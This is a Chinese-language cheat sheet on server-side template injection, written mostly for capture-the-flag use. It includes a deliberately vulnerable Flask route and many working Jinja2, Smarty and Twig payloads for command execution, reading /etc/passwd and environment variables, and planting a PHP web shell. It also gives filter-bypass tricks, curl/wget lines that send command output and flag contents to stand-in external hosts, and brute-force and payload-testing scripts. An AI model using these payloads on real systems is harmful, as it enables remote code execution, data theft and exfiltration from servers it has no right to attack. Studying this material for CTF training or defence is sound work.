SSTI

1. SSTI 基础概念

1.1 定义

SSTI (Server-Side Template Injection) 是一种注入攻击,当攻击者能够在模板中注入恶意输入时,可以在服务器端执行任意代码。

2. 常见模板引擎

2.1 Python 模板引擎

  • Jinja2 (Flask默认)
  • Django模板
  • Mako
  • Tornado模板

2.2 PHP 模板引擎

  • Smarty
  • Twig

2.3 Java 模板引擎

  • Velocity
  • FreeMarker
  • Thymeleaf

2.4 其他

  • Handlebars (Node.js)
  • Mustache
  • Jade/Pug

3. Jinja2 模板基础

3.1 语法结构

{{ ... }}     # 表达式输出
{% ... %}     # 语句执行 (条件、循环等)
{# ... #}     # 注释
# ... ##      # 行语句

3.2 基本用法

# 变量声明
{% set name = 'value' %}
 
# 条件语句
{% if condition %}
    content
{% endif %}
 
# 循环语句
{% for item in items %}
    {{ item }}
{% endfor %}

3.3 漏洞示例

# 存在漏洞的代码
from flask import Flask, request, render_template_string
 
app = Flask(__name__)
 
@app.route('/')
def index():
    name = request.args.get('name')
    template = '<h1>Hello %s!</h1>' % name
    return render_template_string(template)

4. Python 对象模型与魔术方法

4.1 核心魔术方法

__class__        # 返回对象所属的类
__base__         # 返回类的基类 (单个)
__bases__        # 返回类的基类 (元组)
__mro__          # 方法解析顺序
__subclasses__() # 获取所有子类
__init__         # 初始化方法
__globals__      # 全局变量字典

4.2 利用链构造思路

1. 获取基础对象 → ''、()、[]、{}
2. 获取对象的类 → __class__
3. 获取基类object → __base__、__bases__[0]、__mro__[-1]
4. 获取所有子类 → __subclasses__()
5. 寻找可利用的类 → 遍历子类列表
6. 调用危险函数 → 执行命令或读取文件

5. 常用利用类与Payload

5.1 Python3 通用方法

os._wrap_close 类执行命令

# 查找类索引
for i, cls in enumerate(''.__class__.__bases__[0].__subclasses__()):
    if 'os._wrap_close' in str(cls):
        print(i, cls)
 
# Payload
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

builtins 方法

warnings.catch_warnings

# 通用payload
{{''.__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
 
# 循环查找
{% for c in ().__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}

subprocess.Popen 类

{{''.__class__.__mro__[2].__subclasses__()[258]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}

5.2 Python2 特有方法

file 类读写文件

# 读取文件
{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}
 
# 写入文件
{{().__class__.__bases__[0].__subclasses__()[40]('/tmp/test', 'w').write('content')}}

warnings.catch_warnings 类

{{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].os.popen('whoami').read()}}

5.3 Flask 内置对象利用

config 对象

{{config}}                    # 查看配置
{{config['FLAG']}}            # 获取FLAG
{{config.SECRET_KEY}}         # 获取密钥

request 对象

{{request.__class__}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}}

url_for 函数

{{url_for.__globals__['current_app'].config}}
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

get_flashed_messages 函数

{{get_flashed_messages.__globals__['current_app'].config}}

5.4 其他内置函数

# lipsum 函数
{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
 
# cycler 函数  
{{cycler.__init__.__globals__['os'].popen('whoami').read()}}
 
# joiner 函数
{{joiner.__init__.__globals__['os'].popen('whoami').read()}}

6. WAF绕过技巧

6.1 绕过点号过滤

使用中括号

{{().__class__}}
{{()['__class__']}} // tumple getattr((), "__class__")

使用 attr() 函数

{{().__class__}}
{{()|attr('__class__')}}

使用 getattr() 函数

{{().__class__}}
{{getattr((),'__class__')}}

6.2 绕过引号过滤

request 对象传参

# GET 参数
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.args.cmd](request.args.file).read()}}
# ?cmd=open&file=/etc/passwd
 
# POST 参数
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.cmd](request.values.file).read()}}
# POST: cmd=open&file=/etc/passwd
 
# Cookie
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.cmd](request.cookies.file).read()}}
# Cookie: cmd=open; file=/etc/passwd

chr() 函数构造

# 先找到chr函数
{{().__class__.__base__.__subclasses__()[7].__init__.__globals__.__builtins__.chr}}
 
# 使用chr构造字符串
{% set chr = ().__class__.__base__.__subclasses__()[7].__init__.__globals__.__builtins__.chr %}
{{().__class__.__base__.__subclasses__()[257].__init__.__globals__.popen(chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)).read()}}

6.3 绕过下划线过滤

十六进制编码

# _ 编码为 \x5f
{{()["__class__"]}}
{{()["\x5f\x5fclass\x5f\x5f"]}}

request 传参

{{().__getattribute__(request.args.class).__base__}}
# ?class=__class__

6.4 绕过关键字过滤

字符串拼接

{{()['__cla'+'ss__']}}
{{()['__cla''ss__']}}

join() 方法

{{()|attr(["_","_","class","_","_"]|join)}}

format() 方法

{{()|attr(request.args.f|format(request.args.a))}}
# ?f=__c%sass__&a=l

replace() 方法

{{().__getattribute__('__claAss__'.replace("A",""))}}

base64 解码 (仅Python2)

{{().__getattribute__('X19jbGFzc19f'.decode('base64'))}}

6.5 绕过中括号过滤

getitem() 方法

{{()['__class__']}}
{{().__getattribute__('__class__')}}

pop() 方法

{{().__class__.__base__.__subclasses__().pop(40)}}

6.6 绕过双大括号过滤

使用 {% %} 语法

# DNS外带
{% if ().__class__.__base__.__subclasses__()[40].__init__.__globals__['os'].popen('curl xxx.ceye.io/`whoami`').read()=='test' %}1{% endif %}
 
# 盲注
{% if ().__class__.__base__.__subclasses__()[40].__init__.__globals__.__builtins__.open('/etc/passwd').read()[0:1] == 'r' %}1{% endif %}
{%print ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%}

6.7 Unicode 绕过

# Unicode编码绕过关键字
{{()|attr("__class__")}}
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}

6.8 魔改字符绕过

# 使用相似Unicode字符
︷︷config︸︸
 
# 使用全角字符
{{config}}

7. 其他模板引擎

7.1 Smarty (PHP)

版本检测

{$smarty.version}

常用Payload

# if标签执行
{if phpinfo()}{/if}
{if system('whoami')}{/if}
 
# 写文件
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

7.2 Twig (PHP)

常用Payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
 
{{_self.env.getFilter("system")}}

7.3 Tornado (Python)

环境变量读取

{{handler.settings}}

Django(Python)

[[1*1]]

8. 自动化检测工具

8.1 扫描工具

  • tplmap - 自动化模板注入检测

8.2 检测Payload

# 基础检测
{{7*7}}
{{7*'7'}}
${{7*7}}
#{7*7}
 
# 时间延迟检测
{{range(1000000)}}
{% for i in range(1000000) %}{% endfor %}

9. SSTI 做题技巧与实战

9.1 快速识别与测试

模板引擎识别技巧

# 通用测试payload
{{7*7}}          # 输出49 - Jinja2/Twig
${7*7}           # 输出49 - 某些模板引擎
#{7*7}           # 输出49 - Ruby ERB
<%= 7*7 %>       # 输出49 - ASP.NET/JSP
 
# 特殊字符测试
{{7*'7'}}        # 输出7777777 - Jinja2
${{7*7}}         # 可能触发不同解析
[[7*7]]          # Django模板语法

快速判断Python版本

# Python2/3版本判断
{{''.__class__.__mro__[2].__subclasses__()}}
# Python2: 会有file类
# Python3: 没有file类
 
# 或者直接测试
{{range(1)}}     # Python3正常,Python2可能报错

9.2 信息收集技巧

环境信息获取

# 获取Python版本
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['sys'].version}}
 
# 获取当前路径
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].getcwd()}}
 
# 查看环境变量
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].environ}}
 
# 获取所有全局变量
{{url_for.__globals__.keys()}}
{{config.items()}}

目录结构探测

# 列出当前目录
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].listdir('.')}}
 
# 列出根目录
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].listdir('/')}}
 
# 查找flag文件
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].popen('find / -name "*flag*" 2>/dev/null').read()}}

9.3 类索引快速定位技巧

动态查找有用类

# 查找包含os的类
{% for i in range(500) %}
  {% try %}
    {% if ''.__class__.__mro__[2].__subclasses__()[i].__init__.__globals__.get('os') %}
      {{ i }}: {{ ''.__class__.__mro__[2].__subclasses__()[i] }}
    {% endif %}
  {% endtry %}
{% endfor %}
 
# 查找包含sys的类
{% for i in range(500) %}
  {% try %}
    {% if ''.__class__.__mro__[2].__subclasses__()[i].__init__.__globals__.get('sys') %}
      {{ i }}: {{ ''.__class__.__mro__[2].__subclasses__()[i] }}
    {% endif %}
  {% endtry %}
{% endfor %}

一句话遍历所有危险类

# 自动查找可用的执行类
{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ in ['os','_os','posix','nt'] %}
    {{ c.__name__ }}: {{ loop.index0 }}
  {% endif %}
{% endfor %}

9.4 绕过技巧进阶

多层嵌套绕过

# 当基础方法被ban时
{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("whoami").read()')}}

利用错误信息

# 故意触发错误获取信息
{{''.__class__.__mro__[2].__subclasses__()[9999]}}
# 可能泄露可用的类索引范围

组合绕过策略

# 同时绕过多种过滤
{{request|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(request.values.e)|attr(request.values.f)|attr(request.values.g)|attr(request.values.d)(request.values.h)|attr(request.values.d)(request.values.i)(request.values.j)}}
 
# POST参数:
# a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=59&f=__init__&g=__globals__&h=__builtins__&i=eval&j=__import__("os").popen("whoami").read()

9.5 特殊场景处理

无回显处理

# DNS外带数据
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].popen('curl http://your-domain.com/`whoami`').read()}}
 
# HTTP外带
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].popen('wget http://your-domain.com/$(cat /flag|base64)').read()}}
 
# 写文件再读取
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/result','w').write(''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].popen('whoami').read())}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/result').read()}}

长度限制绕过

# 使用短变量名
{%set x=''.__class__.__mro__[2].__subclasses__()[59]%}{{x.__init__.__globals__.os.popen('whoami').read()}}
 
# 分步执行
{%set a=''.__class__%}{%set b=a.__mro__[2]%}{%set c=b.__subclasses__()%}{{c[59].__init__.__globals__.os.popen('id').read()}}

递归限制绕过

# 当递归深度受限时,使用更直接的路径
{{cycler.__init__.__globals__.os.popen('whoami').read()}}
{{joiner.__init__.__globals__.os.popen('whoami').read()}}

9.6 常见CTF题型与解法

1. config密钥泄露型

# 步骤1: 获取config
{{config}}
 
# 步骤2: 获取SECRET_KEY  
{{config.SECRET_KEY}}
{{config['flag']}}
 
# 步骤3: 伪造session
# 使用flask-session-cookie-manager工具

2. 文件包含结合型

使用<class ‘_io.TextIOWrapper’>

# 当存在LFI时
{{''.__class__.__mro__[2].__subclasses__()[40]('/proc/self/environ').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

3. 盲注型SSTI

# 布尔盲注脚本示例
import requests
import string
 
url = "http://target.com/"
flag = ""
charset = string.printable
 
for i in range(50):
    for c in charset:
        payload = "{%% if ''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()[%d] == '%s' %%}success{%% endif %%}" % (i, c)
        resp = requests.post(url, data={"input": payload})
        if "success" in resp.text:
            flag += c
            print(f"Flag so far: {flag}")
            break

4. WAF严格过滤型

# 极限绕过示例
{%set x=()|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c)()|attr(request.cookies.d)(40)|attr(request.cookies.e)|attr(request.cookies.f)%}{{x.open(request.cookies.g).read()}}
 
# Cookie设置:
# a=__class__;b=__base__;c=__subclasses__;d=__getitem__;e=__init__;f=__globals__;g=/flag

9.7 调试技巧

逐步测试法

# 第一步:测试基础注入
{{7*7}}
 
# 第二步:测试对象访问
{{''.__class__}}
 
# 第三步:测试基类访问
{{''.__class__.__mro__[2]}}
 
# 第四步:测试子类枚举
{{''.__class__.__mro__[2].__subclasses__()}}
 
# 第五步:测试具体类调用
{{''.__class__.__mro__[2].__subclasses__()[59]}}

错误信息利用

# 故意构造错误获取更多信息
{{''.__class__.__mro__[2].__subclasses__()[999999]}}
# 可能显示实际的子类数量
 
{{nonexistent_var}}
# 可能显示可用的变量名
 
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.keys()}}
# 查看所有可用的全局变量

9.8 自动化脚本模板

类索引扫描脚本

import requests
 
def find_useful_classes(url):
    classes_payload = "{{''.__class__.__mro__[2].__subclasses__()}}"
    resp = requests.post(url, data={"input": classes_payload})
    
    # 解析返回的类列表
    # 寻找有用的类如 os._wrap_close, subprocess.Popen 等
    
    for i, class_name in enumerate(class_list):
        if any(keyword in str(class_name) for keyword in ['os', 'subprocess', 'warnings']):
            print(f"Useful class found at index {i}: {class_name}")

自动化绕过脚本

import requests
import itertools
 
def generate_payloads():
    # 基础payload模板
    templates = [
        "{{''.__class__.__mro__[2].__subclasses__()[{index}].__init__.__globals__['os'].popen('{cmd}').read()}}",
        "{{''.__class__.__base__.__subclasses__()[{index}].__init__.__globals__['os'].popen('{cmd}').read()}}",
        "{{request.__class__.__mro__[1].__subclasses__()[{index}].__init__.__globals__['os'].popen('{cmd}').read()}}"
    ]
    
    # 绕过方法
    bypass_methods = [
        (".", [".", "|attr('{}')", "['{}']"]),
        ("_", ["_", "\\x5f"]),
        ("'", ["'", "request.args.{}", "request.cookies.{}"])
    ]
    
    return templates, bypass_methods
 
def test_ssti(url, payloads):
    for payload in payloads:
        try:
            resp = requests.post(url, data={"input": payload}, timeout=5)
            if any(indicator in resp.text for indicator in ['root', 'ubuntu', 'flag']):
                print(f"Successful payload: {payload}")
                return payload
        except:
            continue
    return None

9.10 常见错误与陷阱

陷阱1:类索引变化

# 不同环境下类的索引可能不同
# 解决方案:动态查找而不是硬编码索引
{% for c in ''.__class__.__mro__[2].__subclasses__() %}
  {% if 'os._wrap_close' in c.__name__ %}
    {{loop.index0}}: {{c}}
  {% endif %}
{% endfor %}

陷阱2:权限限制

# 某些函数可能被禁用
# 尝试多种执行方法
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].system('whoami')}}  # 可能无回显
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['os'].popen('whoami').read()}}  # 有回显

陷阱3:输出截断

# 输出可能被截断,尝试分段获取
{{''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()[:50]}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()[50:100]}}